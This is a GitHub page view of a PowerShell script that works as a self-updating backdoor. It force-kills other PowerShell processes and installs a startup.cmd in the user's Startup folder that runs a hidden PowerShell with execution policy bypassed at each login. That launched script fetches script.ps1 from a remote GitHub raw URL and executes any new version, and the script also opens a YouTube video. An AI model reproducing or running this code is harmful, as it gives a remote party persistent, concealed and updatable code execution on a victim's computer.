-
Notifications
You must be signed in to change notification settings - Fork 0
/
script.ps1
94 lines (82 loc) · 3.04 KB
/
script.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
[string]$Version = 17
Write-Host "process script starting: $Pid"
### Test ###
#Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Force
#$cred = Get-Credential
#$pass = ConvertTo-SecureString '' -AsPlainText -Force
#$id=($env:UserName)
#$cred = New-Object System.Management.Automation.PSCredential($id,$pass)
#New-PSDrive -Name P -PSProvider FileSystem -Root "C:\" -Credential $cred
#\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run #startup registy
### Kill all other ps process ###
Get-Process -Name "*PowerShell*" | ForEach-Object {
if($_.Id -ne $Pid){
Write-Host "process $_ killed"
Stop-Process -Id $_.Id -Force
}
}
### Create starup.cmd ###
[string]$StartupCmdPath = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\startup.cmd"
if(test-path($StartupCmdPath)){
Remove-Item -Path $StartupCmdPath
}
New-Item -ItemType File -Path $StartupCmdPath -Force
$OrderPath = "$env:APPDATA\Test\$Version\orders.ps1"
$StartupCode = 'START /min C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -executionpolicy bypass -NoLogo -WindowStyle Hidden -file "'+"$OrderPath"+'"' #invisible
#'START /min C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -executionpolicy bypass -file "'+"$OrderPath"+'"' #visible
Add-Content $StartupCmdPath $StartupCode
### Create order ###
$OrderCode = '
#PowerShell.exe -windowstyle hidden {
Write-Host "Process order starting: $Pid"
$update = $false
#while(!$update){
$remote_script = $null
$remote_script = Invoke-WebRequest -URI "https://raw.githubusercontent.com/k4d4m/obey/master/script.ps1" | Select -expand Content
$remote_version = (($remote_script -split '+'''\n'''+')[0]).substring(19)
$Version = '+"$Version"+'
Write-Host "current version = $Version"
if($Version -ne $remote_version){
Write-Host "New version = $remote_version"
$update = $true
#break
}
else{
#start-sleep -s 600
}
#}
if($update){
$ScriptPath = "$env:APPDATA\Test\$remote_version\script.ps1"
if(test-path($ScriptPath)){
Remove-Item -path $ScriptPath
}
New-Item -ItemType File -Path $ScriptPath -Force
Add-Content $ScriptPath $remote_script
if(test-path($ScriptPath)){
Write-Host "invoking updated script"
powershell.exe -executionpolicy bypass -file "$ScriptPath"
#C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -executionpolicy bypass -file $ScriptPath
}
}
Write-Host "order completed: $Pid"
Stop-Process -Id $Pid -Force
#}
'
if(test-path($OrderPath)){
Remove-Item -path $OrderPath
}
New-Item -ItemType File -Path $OrderPath -Force
Add-Content $OrderPath $OrderCode
### Do anything really ###
$IE=new-object -com internetexplorer.application
$IE.navigate2("https://youtu.be/xnKhsTXoKCI")
$IE.visible=$true
### Run order ###
if(test-path($OrderPath)){
Write-Host "invoking deployed order version = $Version"
powershell.exe -executionpolicy bypass -file "$OrderPath"
#C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -executionpolicy bypass -file $OrderPath
}
Write-Host "Script completed: $Pid."
#pause
Stop-Process -Id $Pid -Force